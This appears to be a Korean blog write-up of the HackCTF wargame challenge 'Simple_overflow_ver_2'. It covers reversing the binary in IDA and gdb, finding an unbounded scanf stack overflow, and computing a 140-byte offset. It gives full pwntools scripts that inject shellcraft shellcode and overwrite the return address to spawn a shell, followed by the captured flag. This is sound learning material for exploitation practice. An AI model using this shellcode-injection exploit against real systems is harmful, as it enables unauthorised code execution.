[문제]
[풀이]
- 32bit 바이너리
- 카나리 없음
- NX bit 없음
- PIE 없음
바이너리 실행
- 사용자로부터 Data 입력받음
- 같은 실행에서 Again할 경우 같은 주소를 반환하지만, 바이너리를 반복 실행하면 다른 buf 주소 출력 → ASLR이 걸려있음
IDA 분석 - main 함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // ebx@9
char v5; // [esp+13h] [ebp-89h]@1
char s[128]; // [esp+14h] [ebp-88h]@2
signed __int32 i; // [esp+94h] [ebp-8h]@3
setvbuf(stdout, 0, 2, 0);
v5 = 121;
do
{
printf("Data : ");
if ( __isoc99_scanf(" %[^\\n]s", s) ) //사용자는 Data 입력하도록 함
{
for ( i = 0; ; ++i )
{
v3 = i;
if ( v3 >= strlen(s) )
break; //종료
if ( !(i & 15) )
printf("%p: ", &s[i]);
printf(" %c", (unsigned __int8)s[i]);
if ( i % 16 == 15 )
putchar(10);
}
}
printf("\\nAgain (y/n): ");
}
while ( __isoc99_scanf(" %c", &v5) && (v5 == 121 || v5 == 89) );
return 0;
}
- scanf 함수로 사용자의 입력을 받고 있음. buffer의 크기가 128바이트로 지정되어 있지만 입력 값에 대한 길이 검증을 수행하지 않음→ BOF 취약점 발생
- 입력 값을 16바이트만큼 1줄로 나타냄
- shell을 실행할 수 있는 부분이 주어지지 않아 shellcode 삽입이 필요할 것으로 생각됨
gdb 분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x08048380 _init
0x080483c0 printf@plt
0x080483d0 __gmon_start__@plt
0x080483e0 strlen@plt
0x080483f0 __libc_start_main@plt
0x08048400 setvbuf@plt
0x08048410 putchar@plt
0x08048420 __isoc99_scanf@plt
0x08048430 _start
0x08048460 __x86.get_pc_thunk.bx
0x08048470 deregister_tm_clones
0x080484a0 register_tm_clones
0x080484e0 __do_global_dtors_aux
0x08048500 frame_dummy
0x0804852d main
0x08048670 __libc_csu_init
0x080486e0 __libc_csu_fini
0x080486e4 _fini
- main 주소: 0x0804852d
gdb 분석 - main 함수
pwndbg> disass main
Dump of assembler code for function main:
0x0804852d <+0>: push ebp
0x0804852e <+1>: mov ebp,esp
0x08048530 <+3>: push ebx
0x08048531 <+4>: sub esp,0x98
0x08048537 <+10>: mov eax,ds:0x804a040
0x0804853c <+15>: mov DWORD PTR [esp+0xc],0x0
0x08048544 <+23>: mov DWORD PTR [esp+0x8],0x2
0x0804854c <+31>: mov DWORD PTR [esp+0x4],0x0
0x08048554 <+39>: mov DWORD PTR [esp],eax
0x08048557 <+42>: call 0x8048400 <setvbuf@plt>
0x0804855c <+47>: mov BYTE PTR [ebp-0x89],0x79
0x08048563 <+54>: mov DWORD PTR [esp],0x8048700
0x0804856a <+61>: call 0x80483c0 <printf@plt>
0x0804856f <+66>: lea eax,[ebp-0x88]
0x08048575 <+72>: mov DWORD PTR [esp+0x4],eax
0x08048579 <+76>: mov DWORD PTR [esp],0x8048708
0x08048580 <+83>: call 0x8048420 <__isoc99_scanf@plt>
0x08048585 <+88>: test eax,eax
0x08048587 <+90>: je 0x804861b <main+238>
0x0804858d <+96>: mov DWORD PTR [ebp-0x8],0x0
0x08048594 <+103>: jmp 0x8048602 <main+213>
0x08048596 <+105>: mov eax,DWORD PTR [ebp-0x8]
0x08048599 <+108>: and eax,0xf
0x0804859c <+111>: test eax,eax
0x0804859e <+113>: jne 0x80485bb <main+142>
0x080485a0 <+115>: lea edx,[ebp-0x88]
0x080485a6 <+121>: mov eax,DWORD PTR [ebp-0x8]
0x080485a9 <+124>: add eax,edx
0x080485ab <+126>: mov DWORD PTR [esp+0x4],eax
0x080485af <+130>: mov DWORD PTR [esp],0x8048710
0x080485b6 <+137>: call 0x80483c0 <printf@plt>
0x080485bb <+142>: lea edx,[ebp-0x88]
0x080485c1 <+148>: mov eax,DWORD PTR [ebp-0x8]
0x080485c4 <+151>: add eax,edx
0x080485c6 <+153>: movzx eax,BYTE PTR [eax]
0x080485c9 <+156>: movsx eax,al
0x080485cc <+159>: movzx eax,al
0x080485cf <+162>: mov DWORD PTR [esp+0x4],eax
0x080485d3 <+166>: mov DWORD PTR [esp],0x8048715
0x080485da <+173>: call 0x80483c0 <printf@plt>
0x080485df <+178>: mov eax,DWORD PTR [ebp-0x8]
0x080485e2 <+181>: cdq
0x080485e3 <+182>: shr edx,0x1c
0x080485e6 <+185>: add eax,edx
0x080485e8 <+187>: and eax,0xf
0x080485eb <+190>: sub eax,edx
0x080485ed <+192>: cmp eax,0xf
0x080485f0 <+195>: jne 0x80485fe <main+209>
0x080485f2 <+197>: mov DWORD PTR [esp],0xa
0x080485f9 <+204>: call 0x8048410 <putchar@plt>
0x080485fe <+209>: add DWORD PTR [ebp-0x8],0x1
0x08048602 <+213>: mov ebx,DWORD PTR [ebp-0x8]
0x08048605 <+216>: lea eax,[ebp-0x88]
0x0804860b <+222>: mov DWORD PTR [esp],eax
0x0804860e <+225>: call 0x80483e0 <strlen@plt>
0x08048613 <+230>: cmp ebx,eax
0x08048615 <+232>: jb 0x8048596 <main+105>
0x0804861b <+238>: mov DWORD PTR [esp],0x8048719
0x08048622 <+245>: call 0x80483c0 <printf@plt>
0x08048627 <+250>: lea eax,[ebp-0x89]
0x0804862d <+256>: mov DWORD PTR [esp+0x4],eax
0x08048631 <+260>: mov DWORD PTR [esp],0x8048715
0x08048638 <+267>: call 0x8048420 <__isoc99_scanf@plt>
0x0804863d <+272>: test eax,eax
0x0804863f <+274>: je 0x804865f <main+306>
0x08048641 <+276>: movzx eax,BYTE PTR [ebp-0x89]
0x08048648 <+283>: cmp al,0x79
0x0804864a <+285>: je 0x8048563 <main+54>
0x08048650 <+291>: movzx eax,BYTE PTR [ebp-0x89]
0x08048657 <+298>: cmp al,0x59
0x08048659 <+300>: je 0x8048563 <main+54>
0x0804865f <+306>: mov eax,0x0
0x08048664 <+311>: add esp,0x98
0x0804866a <+317>: pop ebx
0x0804866b <+318>: pop ebp
0x0804866c <+319>: ret
End of assembler dump.
- 사용자의 입력은 $ebp-0x88에 저장
- ret까지의 offset은 buffer+sfp+ret으로 0x8c일 것으로 예상(컴파일 환경에 따라 dummy가 추가될 수 있어 확실하지 않음)
- main+88에 bp 걸어 임의의 입력 값 입력
- 사용자의 입력은 0xffffcfb0에 저장
- 0xffffd03c에서 __libc_start_main+231 확인
- 사용자의 입력~0x7fffffffde58까지의 offset = 140(0x8c)
문제 해결
💡shellcode + dummy(140-shellcode_bytes) + buffer_Address
Python2 - Shellcraft 이용
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3006)
e=ELF('./Simple_overflow_ver_2')
p.recvuntil(": ")
payload = "A"*4
p.sendline(payload)
buf = int(p.recv(10), 16)
p.recvuntil("(y/n):")
p.sendline("y")
shell = asm(shellcraft.sh())
payload = shell.ljust(140, "A")
payload += p32(buf)
p.sendline(payload)
p.interactive()
Python3 - Shellcraft 이용
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3006)
e=ELF('./Simple_overflow_ver_2')
p.recvuntil(": ")
payload = b"A"*4
p.sendline(payload)
buf = int(p.recv(10), 16)
p.recvuntil("(y/n):")
p.sendline("y")
shell = asm(shellcraft.sh())
payload = shell.ljust(140, b"A")
payload += p32(buf)
p.sendline(payload)
p.interactive()
flag
🍒 HackCTF{y0u_d1d_7h3_45516nm3n7_5ucc355fully!}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] x64 Buffer Overflow (0) | 2022.10.30 |
---|---|
[HackCTF] x64 Simple_size_BOF (0) | 2022.10.30 |
[HackCTF] Offset (0) | 2022.10.30 |
[HackCTF] BOF_PIE (0) | 2022.10.30 |
[HackCTF] Yes or no (0) | 2022.10.30 |